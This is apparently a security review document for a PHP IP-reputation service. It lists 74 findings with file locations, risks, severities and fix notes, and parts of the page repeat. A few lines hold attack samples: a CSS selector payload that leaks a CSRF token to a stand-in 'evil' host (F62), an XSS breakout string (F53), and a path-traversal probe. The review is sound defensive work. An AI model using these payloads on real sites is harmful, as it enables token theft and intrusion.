Status: Fixed. New PoliciesController::PROXY_ALLOWED_ROLES = ['viewer', 'operator', 'admin'] constant captures the api's Viewer-or-higher gate. Both proxy methods now early-return 403 with a {"error": "forbidden"} JSON body when the session user's role isn't in that allowlist — covering none, the empty string, and any unrecognised role string. The api is not called in that branch, so a none-role session that somehow reached the protected /app/* route group cannot use the proxy as a probe channel. AuthRequiredMiddleware still intercepts truly-anonymous requests earlier in the chain (302 → /login); the controller's own 401 branch is the defence-in-depth fallback for any future route reshuffle that pulls the proxy out of /app/*. Regression tests: ui/tests/Integration/Auth/PoliciesProxyTest.php covers anonymous-redirect, none-role-403 + zero-api-calls, score-distribution-proxy mirror, viewer-allowed, operator-and-admin-allowed, unknown-role-rejected, and empty-role-rejected.

F43 — /admin/ips/{ip:.+} route pattern is permissive

Files: api/src/App/AppFactory.php:256, ui/src/App/AppFactory.php:130, api/src/Application/Admin/IpsController.php:121-127

Risk: .+ matches multi-segment paths. Currently safe because IpAddress::fromString rejects non-IP strings, but any future reuse of $args['ip'] as a filename, log key, or downstream URL component inherits a path-traversal sink. Tighten to a strict IP charset regex.

Severity: 1

Status: Fixed. Both routes now use the strict pattern [0-9a-fA-F.:%]+ instead of .+:

api/src/App/AppFactory.php — GET /api/v1/admin/ips/{ip:[0-9a-fA-F.:%]+}

ui/src/App/AppFactory.php — GET /app/ips/{ip:[0-9a-fA-F.:%]+} The charset covers IPv4 dotted-quad (digits + .), IPv6 hex (digits

a-f/A-F + :), and the % byte that survives the UI's rawurlencode($ip) for IPv6 colons (e.g. 2001%3Adb8%3A%3A1) before the controller's rawurldecode. Anything outside that — /, .., ?, spaces, dashes, brackets — fails to match the route and 404s before the handler can read $args['ip']. The handler's existing IpAddress::fromString validation is kept as a second layer (still rejects e.g. 999.999.999.999 which is in the charset but not a valid IP). Regression tests: api/tests/Integration/Admin/IpsControllerTest.php — testDetailRejectsNonIpShapedPaths data-provider covers path traversal (..%2Fetc%2Fpasswd), multi-segment paths (/192.0.2.1/extra), query-injection probes, backslashes, spaces, dashes, and bracketed IPv6 ([2001:db8::1]) — all 404 at the route layer. The existing testDetail404OnInvalidIp (using not-an-ip with a dash) and testDetailRendersForUnknownIpWithCleanStatus (using 198.51.100.99) document the 404-via-route vs. 200-via-handler split.

F44 — Job name not strictly regex-validated before audit emission

File: api/src/Application/Admin/JobsAdminController.php:90-130

Risk: registry->has($name) is the gate. A future change that trims/url-decodes inside has() could turn the audit-emit path into log injection or forged audit entries. Validate against ^[a-z0-9_-]+$ in the controller.

Severity: 1

Status: Fixed. New JobsAdminController::JOB_NAME_PATTERN constant ^[a-z0-9_-]+$; trigger() now preg_matchs the {name} segment against it as the first thing it does, returning the same 404 unknown_job envelope used for the missing-job branch. The check runs before registry->has() and before the job.triggered audit emit, so a future refactor that turns has() permissive on trim/url-decode/case-folding cannot escalate the route into log injection or forged audit entries. Regression tests in api/tests/Integration/Admin/JobsAdminControllerTest.php — testTriggerRejectsMalformedJobName data-provider covers uppercase, dotted, space, CR/LF injection, brackets, percent- encoded space, and .. — every case must 404 AND leave zero job.triggered rows in audit_log.

F45 — InternalNetworkMiddleware admits the entire RFC1918 universe

File: api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35

Risk: Allowed CIDRs are 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, plus loopback. Any container reachable on the internal docker network passes the network gate. Safer: pin to a named docker-compose network or to the explicit scheduler IP.

Severity: 1

F46 — LIKE wildcard injection in IPs search q

File: api/src/Infrastructure/Reputation/IpScoreRepository.php:155-162

Risk: q is bound parametrically (no SQLi) but % and _ meta-characters are not escaped. ?q=% matches every row; ?q=_____... is a quadratic backtrack vector. The IpsController validator only trim()s q; no length cap.

Severity: 1

F47 — Unbounded length on string filters reaching SQL

Files: api/src/Application/Admin/AuditController.php:58-83, api/src/Infrastructure/Audit/AuditRepository.php:81-101

Risk: action, entity_type, entity_id, subject_kind, subject_id are accepted as arbitrary-length strings. Bound parametrically (no SQLi) but multi-megabyte values are happily forwarded to the prepared statement, wasting RAM/CPU per request. Apply max length 128 plus an allowlist regex on *_kind fields.

Severity: 1

F48 — MaxMind tarball extraction has no decompressed-size cap

File: api/src/Infrastructure/Enrichment/Downloaders/MaxMindDownloader.php:90-98

Risk: PharData::extractTo rejects .. traversal since PHP 8, so direct path-traversal is mitigated, but there is no per-entry size cap. A small .tar.gz could decompress into multi-GB MMDB and exhaust disk before MmdbVerifier sees it. Iterate $phar manually and enforce a max uncompressed size.

Severity: 1

F49 — DB-IP gunzip has no decompressed-size cap

File: api/src/Infrastructure/Enrichment/Downloaders/DbipDownloader.php:108-126

Risk: gzdecode($compressed) allocates the full decompressed payload. A malicious or compromised DB-IP endpoint (or a TLS-trust misconfiguration) could serve a tiny gzip whose decompressed form is multi-GB, OOM-killing the api. Stream via gzopen/gzread and bail past a threshold.

Severity: 1

F50 — Guzzle client used by GeoIP downloaders allows redirects without host filtering

File: api/src/App/Container.php:279-288

Risk: connect_timeout/timeout are set but allow_redirects defaults to "follow up to 5", with no protocols/strict/referer constraints. A malicious upstream or DNS poisoning could 302 a download to http://169.254.169.254/... or file://. URL is a constant in the default deploy, so this is defence-in-depth. Mitigation: allow_redirects => ['max'=>3,'protocols'=>['https'],'strict'=>true,'referer'=>false] plus a private-IP guard.

Severity: 1

F51 — RoleMappingRepository placeholder generation does not enforce list shape

File: api/src/Infrastructure/Auth/RoleMappingRepository.php:31-36

Risk: Safe today because the only caller passes a typed list, but the sprintf pattern is fragile. Add array_filter($groupIds, 'is_string') to make the contract explicit.

Severity: 1

F52 — Reporter / consumer / category name/reason accept control characters

Files: api/src/Application/Admin/ReportersController.php:69-72, ConsumersController.php:67-70, ManualBlocksController.php, AllowlistController.php, CategoriesController.php

Risk: NULs, newlines, ANSI escapes land in audit_log.target_label and details_json. Twig auto-escapes for display, but log-injection (\n[CRIT] fake event) is possible downstream. Strip control chars and NFC-normalise at the input boundary.

Severity: 1

F53 — Stored-XSS sink potential in categories/edit.twig decay_function

File: ui/resources/views/pages/categories/edit.twig:7-10

Risk: x-data="decayPreview({ fn: '{{ category.decay_function }}', ... })". Twig's default e('html') escapes ' to '. The browser HTML-decodes the attribute before Alpine evaluates it as JS, so ' becomes a literal ' and breaks out of the JS string. If decay_function ever stores a'); alert(1);// (API enum drift), it executes. Combined with F24 (CSP 'unsafe-inline'), live XSS. Use e('js') for content interpolated into a JS-attribute.

Severity: 1

F54 — CSRF middleware lacks Origin / Referer defence in depth

File: ui/src/Http/CsrfMiddleware.php:30, 40-48, 62-74

Risk: Token validation is correct (constant-time compare, 256-bit entropy). Missing layered checks. No JSON-body extraction path (the middleware reads only header or getParsedBody()); fine today, brittle for future PUT/PATCH endpoints with JSON.

Severity: 1

F55 — e('html_attr') in Alpine x-data JS-attribute

File: ui/resources/views/pages/ips/detail.twig:166-171

Risk: Escape-strategy mismatch — html_attr vs the JS evaluator Alpine runs the attribute through. Backticks aren't escaped, Unicode permissive. A maintainer footgun more than an exploit. Use data-foo='{{ x|json_encode|e("html_attr") }}' on a non-Alpine element and read via dataset.foo + JSON.parse (the pattern already used in dashboard.twig).

Severity: 1

F56 — Inline <script> blocks in many templates force CSP 'unsafe-inline'

Files: ui/resources/views/pages/ips/detail.twig:274-392, pages/categories/edit.twig:111-135, pages/policies/edit.twig:139-422, pages/audit/index.twig:102-131, layout.twig:9-22

Risk: Inline scripts plus event handlers force 'unsafe-inline' (F24). Migrating to per-request nonces, or moving these scripts into a packaged /assets/app.js, lets the CSP drop the 'unsafe-inline' token.

Severity: 1

F57 — Session cookie name lacks __Host- prefix

File: ui/src/Auth/SessionManager.php:23, 54-62

Risk: Attributes are correct (HttpOnly, prod Secure, SameSite=Lax, path=/, no Domain). Adding __Host- enforces these at the browser and prevents subdomain cookie shadowing. Free defence-in-depth.

Severity: 1

F58 — /api/docs CSP allows external CDN without SRI

File: api/docker/Caddyfile:41

Risk: script-src 'unsafe-inline' https://cdn.jsdelivr.net. If the CDN is compromised or RapiDoc serves user-influenced content, the docs page executes attacker JS. Add SRI hashes on the RapiDoc tag, or vendor a copy locally.

Severity: 1

F59 — Missing modern hardening headers

Files: ui/docker/Caddyfile:18-34, api/docker/Caddyfile:24-30

Risk: No Cross-Origin-Opener-Policy, Cross-Origin-Resource-Policy, or X-Permitted-Cross-Domain-Policies. Permissions-Policy covers only geolocation, microphone, camera. Cheap to add the rest.

Severity: 1

F60 — HSTS lacks preload

Files: ui/docker/Caddyfile:37, api/docker/Caddyfile:36

Risk: Informational. Operators who want HSTS preload need to add the directive.

Severity: 1

F61 — Caddy Permissions-Policy minimal

Files: ui/docker/Caddyfile:24, api/docker/Caddyfile:30

Risk: Modern hardening also denies interest-cohort, payment, usb, magnetometer, gyroscope, accelerometer, fullscreen, display-capture, clipboard-read, etc.

Severity: 1

F62 — CSP style-src 'unsafe-inline' enables CSS-attribute-selector exfiltration

File: ui/docker/Caddyfile:33

Risk: With an HTML-injection (sub-XSS) primitive, an attacker can write CSS like input[name=csrf_token][value^="a"] { background-image: url(//evil/?p=a); } to leak the CSRF token char-by-char. Drop 'unsafe-inline' for style-src and move dynamic widths to a stylesheet driven by data-* attributes.

Severity: 1

F63 — Twig autoescape default is not explicitly configured

File: ui/src/App/Container.php:105-131

Risk: Defaults to 'html' today, but a future Twig major or Slim-twig wrapper change could quietly flip it. Pin 'autoescape' => 'html'.

Severity: 1

F64 — compose.scheduler.yml references a missing crontab file

File: compose.scheduler.yml:10 (./docker/scheduler.crontab)

Risk: The bind-mount source does not exist in the repository. Container starts with empty /etc/crontabs/root and silently never runs cleanup-audit (audit retention silently broken) or cleanup-expired-manual-blocks. Failure-open monitoring gap.

Severity: 1

F65 — SecretScrubbingProcessor does not match raw JWT shape

Files: api/src/Infrastructure/Logging/SecretScrubbingProcessor.php:42-57, ui/src/Logging/SecretScrubbingProcessor.php:22-37

Risk: A short Bearer (< 20 chars) is not redacted by the current regex. Raw id_token/access_token JWTs logged under alternate keys (e.g. 'jwt' => '...') escape the key-name list. Add a JWT regex ^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$.

Severity: 1

F66 — APP_SECRET and UI_SECRET declared but unused

Files: .env.example:23, 82, api/config/settings.php:35, ui/config/settings.php:37

Risk: UI_SECRET is never referenced in ui/src/. APP_SECRET is never used for any signing/HMAC operation. Operators following .env.example generate secret material that does nothing — a misleading security signal. Either wire them into ETag/CSRF/session signing or remove them.

Severity: 1

F67 — UI Config::validateOrExit does not check UI_SECRET despite docs

Files: ui/src/App/Config.php:20-55, .env.example:82

Risk: .env.example:82 documents UI_SECRET as required ("signs session cookies") but the boot validator does not check it. Sessions are unsigned PHP-native files. Misleading documentation.

Severity: 1

F68 — /api/v1/openapi.yaml and /api/docs are unauthenticated

Files: api/src/App/AppFactory.php:99-101, api/docker/Caddyfile:40-44

Risk: The 48 KB OpenAPI spec leaks the full surface of admin endpoints, internal-job endpoints, expected query/body shapes, and error contracts to unauthenticated callers. Defaults to internet-reachable. Aids reconnaissance. Gate behind a flag like API_DOCS_PUBLIC or move to an authenticated path.

Severity: 1

F69 — ReportController parses unbounded JSON body before size checks

Files: api/src/Application/Public/ReportController.php:99-113, 184-197, api/src/App/AppFactory.php:67

Risk: jsonBody() reads (string) $request->getBody() and json_decodes it without a pre-decoding size check. The 4 KB METADATA_MAX_BYTES is checked only after decoding succeeds — the full body is in memory by then. PHP post_max_size/memory_limit are not configured anywhere in the docker stack. An authenticated reporter (one weak token suffices) can POST a 100 MB body and burn memory; metadata-depth nesting up to PHP's 512 default amplifies. Set JSON_THROW_ON_ERROR, cap body size in Caddy, and enforce php_value memory_limit.

Severity: 1

F70 — BlocklistController?format=json forces sha256-of-50k-entries on every cache miss

File: api/src/Application/Public/BlocklistController.php:80-85, 176-193

Risk: A consumer can request the more expensive JSON renderer on demand. Per-process BlocklistCache TTL=30s — every cache miss rebuilds and rehashes. Combined with the per-token-only rate limit, a single consumer at 60 req/s sustains 60 full build-and-hash operations per second per replica. Header size limits cap the If-None-Match parse loop but it is still an amplifier. Constrain format per consumer (only allow what the consumer typically uses).

Severity: 1

F71 — BlocklistCache is not size-bounded

File: api/src/Infrastructure/Reputation/BlocklistCache.php:33, 42-59

Risk: The cache map is keyed by $policy->id and grows monotonically with no LRU. Admin-creatable, but unbounded. Add a bounded LRU (e.g. 16 policies cached).

Severity: 1

F72 — /ips/{ip:.+} accepts unbounded path parameter

Files: api/src/App/AppFactory.php:256, api/src/Application/Admin/IpsController.php:121-127

Risk: A logged-in Viewer can call /api/v1/admin/ips/<10MB>. rawurldecode runs on the entire string; IpAddress::fromString applies regex. Web-server URL-length limits typically cap this at a few KB but mitigations are environment-specific. Tighten the regex to a strict IP character class.

Severity: 1

F73 — UI JsonExceptionHandler getCode() type-juggling for HTTP status

File: ui/src/Http/JsonExceptionHandler.php:40-63

Risk: getCode() from arbitrary Throwable is used as HTTP status if it is in [400, 600). PDOException's getCode() is a SQLSTATE string (e.g. '42S02') — coerced via comparison. A string like '400' would set status 400 and skip prod message-suppression. Cast to int explicitly and reject non-numeric codes.

Severity: 1

F74 — LoginThrottle writes logger->warning per failure with no log-rate cap

File: ui/src/Auth/LoginThrottle.php:79-93

Risk: A sustained brute-force attack at 100 req/s fills disk via the structured logger. No log-rate cap, no aggregation. Pair with F1 (XFF spoof) and F2 (no per-user bucket) to amplify.

Severity: 1

Reviewed and acceptable

The following candidate concerns were checked and are not findings in the current code. Listed for completeness so the next reviewer doesn't redo the same work.

No raw SQL interpolation of user input. All repositories bind via DBAL named/positional parameters. The only sprintf into SQL is for table names where values are hardcoded constants or ? placeholder counts.

No ORDER BY injection. Every ORDER BY uses constants — no user-controlled sort column anywhere reviewed.

No unserialize, eval, exec, shell_exec, system, passthru, proc_open, popen, backticks, or preg_replace /e modifier anywhere in api/src or ui/src (vendor excluded).

IP/CIDR parsing (IpAddress::fromString, Cidr::fromString) is strict — rejects whitespace, leading zeros, bracketed IPv6, zone identifiers, malformed octets.

Token format & entropy. random_bytes(20) = 160 bits, base32 encoded. SHA-256 storage at rest. Lookup is by hash — no timing side channel.

Constant-time comparisons used where they matter (hash_equals in CSRF, internal token, local-admin username).

OIDC S256 PKCE explicitly set; missing sub claim rejected.

Failed-token responses are uniform 401 — no distinction between missing/malformed/unknown/revoked/expired.

Impersonation header is silently ignored on non-service tokens.

Impersonation user id strictly validated as ^[1-9][0-9]*$.

JobRunner orchestrates entirely via DBAL — no shell-out.

MmdbVerifier opens MMDB via MaxMind\Db\Reader with node-count thresholds; truncated/empty downloads fail closed.

UI Guzzle client uses a fixed API_BASE_URL from env — not user-retargetable.

MaintenanceController::purge loops 'DELETE FROM '.$table over a hard-coded allowlist.

Twig auto-escape (HTML) is the default; no |raw over user-controlled data was found.

Logout is POST-only and CSRF-protected.

Session cookie attributes (HttpOnly, Secure in prod, SameSite=Lax) are correct.

PharData::extractTo rejects path traversal since PHP 8.

Summary of severity counts

Severity Count

3 5

2 27

1 42

Total 74

The headline risks are: (a) the brute-force lockout is bypassable trivially via X-Forwarded-For spoofing or distributed sources (F1, F2), (b) a leaked or unrotated service token is a single-step total compromise because /api/v1/auth/upsert-local mints Admin users with no impersonation/audit/RBAC/rate-limit (F3), and (c) audit integrity rests on a non-transactional best-effort second write that silently no-ops on failure (F4, F5). The combination of these means a single compromised credential plus a deliberately-failed audit insert yields un-traced privilege escalation.

SEC_REVIEW.md 100 KB Түүх Анхны өгөгдөл

IRDB Security Review

Severity 3 — high / critical

F1 — Login throttle bypass via spoofed X-Forwarded-For

F2 — Throttle bucket includes IP → IP-rotation defeats the per-user lockout

F3 — Service token + upsertLocal mints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation

F4 — Audit emit is non-transactional with state mutation

F5 — User creation and role assignment emit no audit

Severity 2 — medium

F6 — Throttle store is per-process in memory; lost on worker recycle

F7 — Username enumeration via response timing on local login

F8 — headers_sent() short-circuit silently skips session regeneration / clear

F9 — OIDC session id not regenerated before the handshake starts

F10 — Open redirect via attacker-controllable next parameter

F11 — Service-token impersonation accepts any user id with no allow-list, no active-status gate

F12 — Local-admin lookup matches on display_name without uniqueness guarantee

F13 — Service token rotation leaves the old hash valid indefinitely

F14 — /api/v1/auth/* has no rate limit

F15 — MaintenanceController::seedDemo requires no confirmation token

F16 — Admin-role API tokens are not bound to a user_id → privilege persists after offboarding

F17 — GET /api/v1/auth/users/{id} enables enumeration of internal user records

F18 — Containers run as root (no USER directive)

F19 — No .dockerignore — host artifacts baked into images

F20 — Application source is writable by the process serving requests

F21 — getTraceAsString logged in production may leak plaintext credentials

F22 — compose.scheduler.yml runs apk add at every container start

F23 — jumbojett/openid-connect-php ^1.x constraint pins a major with historical CVEs

F24 — UI CSP allows script-src 'unsafe-inline' 'unsafe-eval'

F25 — Trusted-proxy XFF rewrite + private_ranges may allow /internal/* bypass

F26 — JsonErrorHandler can leak raw exception messages in production

F27 — RateLimitMiddleware is skipped when no principal is present

F28 — Rate limiter buckets are per-process, unbounded, and reset per replica

F29 — /api/v1/admin/* group has no rate limit

F30 — IpScoreRepository::searchIps allows full-table scan via q=%X%

F31 — AuditController has no length cap, no max-offset cap, deep-offset scans

F32 — Admin list endpoints execute N+1 enrichment lookups per page row

Severity 1 — low / informational

F33 — OidcClaims->email is ?string but upsertOidc types it as string

F34 — Sensitive identifiers logged at INFO/WARN/ERROR

F35 — INTERNAL_JOB_TOKEN has no minimum-length enforcement at startup

F36 — UI session role/identity is captured at login and never re-validated

F37 — Local-admin password hash algorithm not validated at boot

F38 — Disabled local-admin returns 404 before throttle, allowing unrestricted hammering

F39 — Token base32 encoding has trailing-bit ambiguity

F40 — CSRF token never rotated on session-id regeneration

F41 — Reporter / consumer audit_enabled is mass-assignable via PATCH

F42 — UI policy proxy controllers rely entirely on API for role enforcement

F43 — /admin/ips/{ip:.+} route pattern is permissive

F44 — Job name not strictly regex-validated before audit emission

F45 — InternalNetworkMiddleware admits the entire RFC1918 universe

F46 — LIKE wildcard injection in IPs search q

F47 — Unbounded length on string filters reaching SQL

F48 — MaxMind tarball extraction has no decompressed-size cap

F49 — DB-IP gunzip has no decompressed-size cap

F50 — Guzzle client used by GeoIP downloaders allows redirects without host filtering

F51 — RoleMappingRepository placeholder generation does not enforce list shape

F52 — Reporter / consumer / category name/reason accept control characters

F53 — Stored-XSS sink potential in categories/edit.twig decay_function

F54 — CSRF middleware lacks Origin / Referer defence in depth

F55 — e('html_attr') in Alpine x-data JS-attribute

F56 — Inline <script> blocks in many templates force CSP 'unsafe-inline'

F57 — Session cookie name lacks __Host- prefix

F58 — /api/docs CSP allows external CDN without SRI

F59 — Missing modern hardening headers

F60 — HSTS lacks preload

F61 — Caddy Permissions-Policy minimal

F62 — CSP style-src 'unsafe-inline' enables CSS-attribute-selector exfiltration

F63 — Twig autoescape default is not explicitly configured

F64 — compose.scheduler.yml references a missing crontab file

F65 — SecretScrubbingProcessor does not match raw JWT shape

F66 — APP_SECRET and UI_SECRET declared but unused

F67 — UI Config::validateOrExit does not check UI_SECRET despite docs

F68 — /api/v1/openapi.yaml and /api/docs are unauthenticated

F69 — ReportController parses unbounded JSON body before size checks

F70 — BlocklistController?format=json forces sha256-of-50k-entries on every cache miss

F71 — BlocklistCache is not size-bounded

F72 — /ips/{ip:.+} accepts unbounded path parameter

F73 — UI JsonExceptionHandler getCode() type-juggling for HTTP status

F74 — LoginThrottle writes logger->warning per failure with no log-rate cap

Reviewed and acceptable

SEC_REVIEW.md 100 KB

Түүх Анхны өгөгдөл

F1 — Login throttle bypass via spoofed `X-Forwarded-For`

F3 — Service token + `upsertLocal` mints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation

F8 — `headers_sent()` short-circuit silently skips session regeneration / clear

F10 — Open redirect via attacker-controllable `next` parameter

F12 — Local-admin lookup matches on `display_name` without uniqueness guarantee

F14 — `/api/v1/auth/*` has no rate limit

F15 — `MaintenanceController::seedDemo` requires no confirmation token

F16 — Admin-role API tokens are not bound to a `user_id` → privilege persists after offboarding

F17 — `GET /api/v1/auth/users/{id}` enables enumeration of internal user records

F18 — Containers run as root (no `USER` directive)

F19 — No `.dockerignore` — host artifacts baked into images

F21 — `getTraceAsString` logged in production may leak plaintext credentials

F22 — `compose.scheduler.yml` runs `apk add` at every container start

F23 — `jumbojett/openid-connect-php ^1.x` constraint pins a major with historical CVEs

F24 — UI CSP allows `script-src 'unsafe-inline' 'unsafe-eval'`

F25 — Trusted-proxy XFF rewrite + `private_ranges` may allow `/internal/*` bypass

F27 — `RateLimitMiddleware` is skipped when no principal is present

F29 — `/api/v1/admin/*` group has no rate limit

F30 — `IpScoreRepository::searchIps` allows full-table scan via `q=%X%`

F31 — `AuditController` has no length cap, no max-offset cap, deep-offset scans

F33 — `OidcClaims->email` is `?string` but `upsertOidc` types it as `string`

F35 — `INTERNAL_JOB_TOKEN` has no minimum-length enforcement at startup

F41 — Reporter / consumer `audit_enabled` is mass-assignable via PATCH

F43 — `/admin/ips/{ip:.+}` route pattern is permissive

F45 — `InternalNetworkMiddleware` admits the entire RFC1918 universe

F46 — LIKE wildcard injection in IPs search `q`

F51 — `RoleMappingRepository` placeholder generation does not enforce list shape

F52 — Reporter / consumer / category `name`/`reason` accept control characters

F53 — Stored-XSS sink potential in `categories/edit.twig` `decay_function`

F54 — CSRF middleware lacks `Origin` / `Referer` defence in depth

F55 — `e('html_attr')` in Alpine `x-data` JS-attribute

F56 — Inline `<script>` blocks in many templates force CSP `'unsafe-inline'`

F57 — Session cookie name lacks `__Host-` prefix

F58 — `/api/docs` CSP allows external CDN without SRI

F60 — HSTS lacks `preload`

F61 — Caddy `Permissions-Policy` minimal

F62 — CSP `style-src 'unsafe-inline'` enables CSS-attribute-selector exfiltration

F63 — Twig `autoescape` default is not explicitly configured

F64 — `compose.scheduler.yml` references a missing crontab file

F65 — `SecretScrubbingProcessor` does not match raw JWT shape

F66 — `APP_SECRET` and `UI_SECRET` declared but unused

F67 — UI `Config::validateOrExit` does not check `UI_SECRET` despite docs

F68 — `/api/v1/openapi.yaml` and `/api/docs` are unauthenticated

F69 — `ReportController` parses unbounded JSON body before size checks

F70 — `BlocklistController?format=json` forces sha256-of-50k-entries on every cache miss

F71 — `BlocklistCache` is not size-bounded

F72 — `/ips/{ip:.+}` accepts unbounded path parameter

F73 — UI `JsonExceptionHandler` `getCode()` type-juggling for HTTP status

F74 — `LoginThrottle` writes `logger->warning` per failure with no log-rate cap